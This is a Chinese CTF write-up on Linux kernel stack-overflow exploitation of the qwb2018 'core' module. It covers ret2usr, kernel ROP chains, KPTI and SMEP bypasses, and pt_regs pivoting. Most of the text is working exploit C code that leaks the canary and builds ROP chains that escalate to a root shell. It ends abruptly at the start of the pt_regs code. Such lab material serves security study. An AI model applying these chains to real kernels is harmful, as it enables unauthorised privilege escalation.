CTF-PWN-kernel-栈溢出(retuser rop pt_regs ret2dir)

文章目录

  • 参考
  • qwb2018 core
  • 检查
  • 逆向
  • 调试
  • 打包上传测试脚本
  • retuser
  • kernel rop
    • init_cred
    • commit_creds( prepare_kernel_cred(0) )
    • 开启KPTI利用swapgs_restore_regs_and_return_to_usermode
    • 开启KPTI利用SIGSEGV
    • rop设置CR3寄存器再按照没有KPTI返回
  • kernel rop + ret2user
  • pt_regs 构造 kernel ROP
  • ret2dir

参考

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x01-Kernel-ROP-basic
https://bbs.kanxue.com/thread-276403.htm#msg_header_h2_7
https://xz.aliyun.com/t/7625?time__1311=n4%2BxnD0G0%3DG%3Dn4Gwx05%2B4hri%3DdeY5GOKweD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-8
https://kiprey.github.io/2021/10/kernel_pwn_introduction/#5-kernel-%E7%9A%84-UAF-%E5%88%A9%E7%94%A8
https://blog.csdn.net/qq_45323960/article/details/130660417?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171982506416800211525431%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=171982506416800211525431&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-2-130660417-null-null.nonecase&utm_term=kernel&spm=1018.2226.3001.4450

qwb2018 core

检查

在这里插入图片描述

逆向

  • 调用proc_create函数来创建一个新的proc文件系统条目
  • &core_fops是一个指向file_operations结构体的指针,这个结构体定义了文件操作函数,比如打开、读取、写入等。

在这里插入图片描述
在这里插入图片描述core_copy_func存在栈溢出,将可以将name的63个字节复制到栈上的v2数组

在这里插入图片描述
name是内核的数据,可以通过core_write将用户数据复制到name
在这里插入图片描述

调试

记得设置root,否则看不了
在这里插入图片描述
然后关闭kalsr,方便下断点
在这里插入图片描述
查看模块相关段和内核中存在的符号函数

在这里插入图片描述

打包上传测试脚本

#!/bin/sh
gcc expolit.c -static -masm=intel -g -o expolit
mv expolit fs/
cd core
find . | cpio -o --format=newc > core.cpio
mv core.cpio ..
cd ..
./start.sh

在没有开启SMAP/SMEP的情况下,可以使用ret2usr,直接在内核态访问用户态的代码并执行。
PS: 在使用ret2usr进行提取时,切记不要使用库函数(会引起系统调用导致内核panic)

retuser

就是在内核态执行的时候往内核态的栈中写入用户程序的返回地址,然后跳转到用户代码执行,然后执行用户程序定义的函数,期间提权并模拟返回用户态的过程
rip是切换到内核态时候最后压入的,iretq通过pop恢复各个寄存器,顺序从rip到ss
在这里插入图片描述
返回地址变为用户态的代码,并执行commit_creds(prepare_kernel_cred(0));
在这里插入图片描述
切换到用户态
在这里插入图片描述

iretq此时栈中为之前设置的结构体
在这里插入图片描述
通过恢复rip跳转到getshell函数
在这里插入图片描述
提权成功
在这里插入图片描述

__attribute__((packed))这是GCC编译器的一个扩展属性,用于告诉编译器在打包结构体成员时不要添加任何填充(padding)。通常,编译器会在结构体成员之间添加填充字节来保证数据对齐,这可能会导致结构体的大小增加。
使用packed属性可以确保trap_frame结构体的布局在内存中紧凑,每个成员紧跟前一个成员,没有额外的填充。

  1. #define KERNCALL __attribute__((regparm(3))):

    • 这是一个宏定义,KERNCALL 被定义为使用 GCC 编译器的 regparm 属性,该属性指定函数的参数通过寄存器传递。
    • regparm(3) 表示函数的前三个参数将通过寄存器传递,而不是通过栈。这有助于减少函数调用的开销,提高性能。
  2. void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;:

    • 这行代码定义了一个名为 prepare_kernel_cred 的函数指针,它指向一个接受一个 void 指针参数并且返回一个 void 指针的函数。
    • KERNCALL 是上面定义的宏,它指定了函数调用约定,即参数通过寄存器传递。
    • = (void *) 0xFFFFFFFF8109CCE0; 这行代码将 prepare_kernel_cred 指针初始化为一个特定的内存地址。这个地址是硬编码的,可能指向内核中负责准备(设置)用户凭证的函数。
  3. void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;:

    • 这行代码与上一行类似,定义了另一个函数指针 commit_creds,它也指向一个接受和返回 void 指针的函数。
    • 同样使用 KERNCALL 宏来指定函数调用约定。
    • = (void *) 0xFFFFFFFF8109C8E0;commit_creds 指针初始化为另一个特定的内存地址。这个地址指向内核中负责提交(更改)当前任务凭证的函数。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define KERNCALL __attribute__((regparm(3)))

void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;

void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;

void *init_cred = (void *) 0xFFFFFFFF8223D1A0;

void get_shell() { system("/bin/sh"); }


struct trap_frame {
    size_t user_rip;
    size_t user_cs;
    size_t user_rflags;
    size_t user_sp;
    size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;

void save_status() {
    asm(
            "movq %%cs, %0\n\t"
            "movq %%ss, %1\n\t"
            "movq %%rsp, %2\n\t"
            "pushfq\n\t"
            "popq %3\n\t"
            : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
            :
            : "memory");
    tf.user_rip = (size_t) get_shell;
    tf.user_cs = user_cs;
    tf.user_rflags = user_rflags;
    tf.user_sp = user_sp - 0x1008;
    tf.user_ss = user_ss;
    puts("[*] status has been saved.");
}

void get_root() {
//    commit_creds(init_cred);
    commit_creds(prepare_kernel_cred(0));
    asm volatile (
        "swapgs;"             // 交换GS寄存器的基地址
        "movq %0, %%rsp;"     // 将tf_addr的值移动到栈指针
        "iretq;"               // 从中断或异常返回
        :: "r" (tf_addr)      // 输入操作数列表,tf_addr作为输入
        : "memory"            // 指示汇编代码可能修改内存
    );
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds = (void *) ((size_t) commit_creds + offset);
            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
            init_cred = (void *) ((size_t) init_cred + offset);
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    rebase();
    save_status();
    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }
    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);
    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;
    *(void **) &buf[80] = get_root;
    core_write(buf, sizeof(buf));
    core_copy_func(0xffffffffffff0000 | sizeof(buf));
    return 0;
}

通过溢出执行用户代码,然后从而完成提权和切换到用户态操作

kernel rop

开启 smep 和 smap 保护后,内核空间无法执行用户空间的代码,并且无法访问用户空间的数据或者跳转到用户空间的代码执行。
利用 ROP ,在内核中执行 commit_creds(prepare_kernel_cred(0))完成提权 , 然后 iret 返回用户空间再执行getshell函数

init_cred

可以找到init_cred作为参数,然后直接commit_creds,不需要prepare_creds
在这里插入图片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;

void get_shell() {
    system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_popfq_ret += offset;
            iretq += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;


    rop[it++] = pop_rdi_ret;
    rop[it++] = init_cred;
    rop[it++] = commit_creds;
    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

commit_creds( prepare_kernel_cred(0) )

这里prepare_kernel_cred(0)执行后需要执行mov rdi, rax; ret但没有合适的,参考sky佬使用pop rdx; ret; mov rdi,rax; call rdx但pop后rdx是pop rcx; ret; call rdx那么就相当于ret了

在这里插入图片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;

void get_shell() {
    system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_popfq_ret += offset;
            iretq += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;

    rop[it++] = pop_rdi_ret;
    rop[it++] = 0;
    rop[it++] = prepare_kernel_cred;
    rop[it++] = pop_rdx_ret;
    rop[it++] = pop_rcx_ret;
    rop[it++] = mov_rdi_rax_call_rdx;
    rop[it++] = commit_creds;
    
    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

开启KPTI利用swapgs_restore_regs_and_return_to_usermode

https://b0ldfrev.gitbook.io/note/linux_kernel/kernelpwn-zhuang-tai-qie-huan-yuan-li-ji-kpti-rao-guo
将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。
在这里插入图片描述
在开启KPTI内核,提权返回到用户态(iretq/sysret)之前如果不设置CR3寄存器的值,就会导致进程找不到当前程序的正确页表,引发段错误,程序退出。

有一种比较懒惰的方法就是利用swapgs_restore_regs_and_return_to_usermode这个函数返回:

cat /proc/kallsyms| grep swapgs_restore_regs_and_return_to_usermode找到它在内核地址
swapgs_restore_regs_and_return_to_usermode的代码如下
在这里插入图片描述
跳过前面的pop指令也可以返回到用户态即程序流程控制到 mov rdi, rsp 指令,栈布局如下就行,具体原因调试即可

rsp  ---->  mov_rdi_rsp
            0
            0
            rip
            cs
            rflags
            rsp
            ss

在这里插入图片描述

进入内核前的CR3
在这里插入图片描述
进入内核后的CR3
在这里插入图片描述
开始执行用户态的代码时会出现page_fault
在这里插入图片描述在这里插入图片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;

void get_shell() {
    system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_restore_regs_and_return_to_usermode += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;


//    rop[it++] = pop_rdi_ret;
//    rop[it++] = init_cred;
//    rop[it++] = commit_creds;

    rop[it++] = pop_rdi_ret;
    rop[it++] = 0;
    rop[it++] = prepare_kernel_cred;
    rop[it++] = pop_rdx_ret;
    rop[it++] = pop_rcx_ret;
    rop[it++] = mov_rdi_rax_call_rdx;
    rop[it++] = commit_creds;

    rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[it++] = 0;
    rop[it++] = 0;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

开启KPTI利用SIGSEGV

如果找不到 swapgs_restore_regs_and_return_to_usermode 则可以为 SIGSEGV 先注册异常处理函数 get_shell ,然后按照没有 kpti 的方式返回用户态。触发段错误异常后自动完成用户态的返回。

signal(SIGSEGV, get_shell); 这行代码的作用是设置一个信号处理函数,当进程遇到SIGSEGV(分段违例)信号时,将会调用get_shell函数。SIGSEGV信号通常在程序试图访问非法内存地址时由操作系统发送,例如尝试读取或写入不存在的内存位置。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/ioctl.h>

size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_popfq_ret = 0xffffffff81a012da;

void get_shell() {
    system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            iretq += offset;
            swapgs_restore_regs_and_return_to_usermode += offset;
            swapgs_popfq_ret += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();
    signal(SIGSEGV, get_shell);

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;


//    rop[it++] = pop_rdi_ret;
//    rop[it++] = init_cred;
//    rop[it++] = commit_creds;

    rop[it++] = pop_rdi_ret;
    rop[it++] = 0;
    rop[it++] = prepare_kernel_cred;
    rop[it++] = pop_rdx_ret;
    rop[it++] = pop_rcx_ret;
    rop[it++] = mov_rdi_rax_call_rdx;
    rop[it++] = commit_creds;
    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = 0x12345678;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

rop设置CR3寄存器再按照没有KPTI返回

另一种在kernel提权返回用户态的时候绕过kpti的方法就是利用内核映像中现有的gadget

mov     rdi, cr3
or      rdi, 1000h
mov     cr3, rdi

来设置CR3寄存器,并按照iretq/sysret 的需求构造内容,再返回就OK了。

kernel rop + ret2user

先利用 rop 的mov设置 cr4 为 0x6f0 (这个值可以通过用 cr4 原始值 & 0xFFFFF 得到)关闭 smep , 然后 iret 到用户空间去执行提权代码。这样也可以绕过 smap 和 smep

在这里插入图片描述
此时开启
在这里插入图片描述
通过pop 然后mov设置cr4
在这里插入图片描述
然后可以直接跳转到用户态代码执行
在这里插入图片描述
用户态代码再执行commit_creds(prepare_kernel_cred(0))或者commit_creds(init_cred),然后再返回到用户态再跳转到system("/bin/sh");

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define KERNCALL __attribute__((regparm(3)))

void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;

void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;

void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;

void get_shell() { system("/bin/sh"); }

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void get_root() {
//    commit_creds(init_cred);
    commit_creds(prepare_kernel_cred(0));
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds = (void *) ((size_t) commit_creds + offset);
            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
            init_cred = (void *) ((size_t) init_cred + offset);
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_popfq_ret += offset;
            iretq += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;


    rop[it++] = pop_rdi_ret;
    rop[it++] = 0x00000000000006f0;
    rop[it++] = mov_cr4_rdi_ret;
    rop[it++] = (size_t) get_root;
    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

pt_regs 构造 kernel ROP

如果限制溢出只能覆盖返回地址,此时需要栈迁移到其他地方构造 rop 。可以通过 pt_regs 上构造 rop 。

系统调用syscall会进入到 entry_SYSCALL_64,该函数会将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体,该结构体实质上位于内核栈底,定义如下:

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15; //低地址
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss; //高地址
/* top of stack page */
};

由于内核栈只有一页大小,只需要寻找到一条形如 “add rsp, val ; ret” 的 gadget 然后通过push进去的设置号的寄存器内容便能够完成 ROP

当前rsp距离pt_regs 的偏移在这里插入图片描述
pt_regs 总共0xa8大小
在这里插入图片描述
另外值得注意的是 pt_regs 中对应 r11 和 rcx 的位置分别被写入了 eflags 和返回地址(设置的是system(“/bin/sh”)),不受我们控制。
通过add rsp, value或者pop使得rsp到达pt_regs 如add rsp,0xc8 pop rbx pop rbp pop r12 pop r13 ret可以实现增加0xe8的效果

在这里插入图片描述
所以在溢出之前将寄存器设置好,利用系统调用在栈底部压入的内容作为等会迁移后的rop,然后溢出执行调整rsp的gadget,然后通过之前设置好的寄存器进行rop
这里使用swapgs_restore_regs_and_return_to_usermode来切换回用户态,需要调整偏移,使得最后能够返回到原来的返回地址上system("/bin/sh")

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>

